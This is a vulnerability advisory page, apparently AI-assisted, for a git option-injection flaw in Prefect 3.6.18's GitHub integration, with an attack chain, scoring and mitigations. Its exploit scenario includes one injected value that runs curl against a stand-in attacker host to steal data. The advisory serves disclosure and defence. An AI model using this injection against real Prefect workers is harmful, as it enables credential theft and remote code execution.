EUVD-2026-31563
GHSA-cw25-2p92-7f75
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to Prefect
-
DeliveryCreate malicious flow with GitHubRepository
-
ExploitInject git options via reference field
-
ExecutionTrigger flow execution
-
ImpactExecute arbitrary commands on worker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
|
| Exploitation Conditions | Authenticated access to create or modify Prefect flows that use GitHubRepository blocks. The vulnerability specifically affects deployments using the prefect-github integration component - deployments using only GitLab or BitBucket integrations are not vulnerable. No special configuration required beyond having the GitHub integration enabled. Exploitation is limited to users with sufficient Prefect permissions to create/modify flows, preventing anonymous attacks but enabling insider threats or compromised account scenarios. |
| Impact | The CVSS score of 8.5 reflects a network-accessible vulnerability requiring low privileges with no user interaction, indicating high real-world risk for exposed Prefect deployments. The attack complexity is low (AC:L), and the scope change (S:C) suggests impacts beyond the vulnerable component. EPSS data is not available, and the vulnerability is not listed in CISA KEV, indicating no confirmed active exploitation. However, the straightforward exploitation path and potential for RCE make this a high priority. The SSVC framework would likely recommend immediate action given the low exploitation barrier and high technical impact. Organizations should prioritize patching based on their Prefect deployment exposure and use of GitHub integration features. |
| Exploit ScenarioDerived | An authenticated attacker with access to create or modify Prefect flows crafts a malicious GitHubRepository block with a reference field containing injected git options like 'main -c core.sshCommand="curl attacker.com/steal"'. When Prefect executes the flow, the injected command runs during git clone, potentially exfiltrating credentials or executing arbitrary commands on the Prefect worker. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 24, 2026
Command injection in Prefect 3.6.18's GitHub integration allows authenticated users to execute arbitrary git commands through the unsanitized reference field. The GitHubRepository block concatenates user input directly into git clone commands, enabling attackers to inject malicious options that can lead to SSRF, credential theft, or remote code execution. While no active exploitation is confirmed, the straightforward attack vector and high impact make this a priority for organizations using Prefect's GitHub integration features.
RemediationAI
No vendor-released patch identified at time of analysis. Until a patch is available, disable or restrict access to GitHubRepository blocks in Prefect deployments, particularly for untrusted users. If GitHub integration is required, implement input validation for the reference field at the application layer to reject special characters and command injection attempts. Consider migrating critical workflows to use GitLab or BitBucket integrations which are not affected by this vulnerability. Monitor git command execution logs for suspicious -c options or unexpected parameters. Apply principle of least privilege to Prefect service accounts to limit potential impact.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the prefect-github integration component of Prefect, an open-source workflow orchestration platform. The root cause is improper neutralization of special elements in command arguments (CWE-88), where the reference parameter in GitHubRepository blocks is concatenated into git command strings without validation. The code uses Python's shlex.split() to parse the command, but this occurs after the injection point, allowing attackers to inject git options like -c to execute arbitrary commands. The GitLab and BitBucket integrations are not affected as they use safer list-based command construction.
Know when Prefecthq Prefect gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Primary rating from Vendor (huntr_ai) · only source for this CVE.
CVSS VectorVendor: huntr_ai
DescriptionCVE.org
A vulnerability in the GitHubRepository block of the prefect-github integration in Prefect version 3.6.18 allows an attacker to inject arbitrary git command-line options via the reference field. The reference field is concatenated directly into a git clone command string without proper sanitization, and then parsed by shlex.split(). This enables injection of options such as -c, leading to potential Server-Side Request Forgery (SSRF), credential theft, or remote code execution (RCE). The vulnerability affects both the aget_directory() and get_directory() methods in src/integrations/prefect-github/prefect_github/repository.py. This issue does not affect the GitLab and BitBucket integrations, which use a safer list-based command construction approach.
Executive ViewAI
CVE-2026-3515 affects Prefect 3.6.18's GitHub integration, allowing authenticated users with repository configuration access to inject arbitrary git commands that can lead to credential theft, SSRF attacks, or remote code execution. Organizations using Prefect's GitHub integration for CI/CD or workflow orchestration face immediate risk to secrets management and infrastructure access if users with configuration privileges are compromised or malicious.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict GitHubRepository block creation to administrator-only via Prefect RBAC; (2) Implement network segmentation to limit outbound git operations to approved GitHub hosts only; (3) Rotate GitHub tokens and implement least-privilege PATs scoped to read-only; (4) Monitor git command execution logs and GitHub audit logs for anomalous reference field values or unexpected command options; (5) Consider disabling GitHub integration entirely if not actively required until patch becomes available.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
More in Prefecthq Prefect
View allRemote code execution in Prefect 3.6.23 allows any user holding deployment-creation permissions to run arbitrary command
Authentication bypass in prefecthq/prefect 3.6.19 allows remote unauthenticated attackers to access sensitive API endpoi
Exploit-DB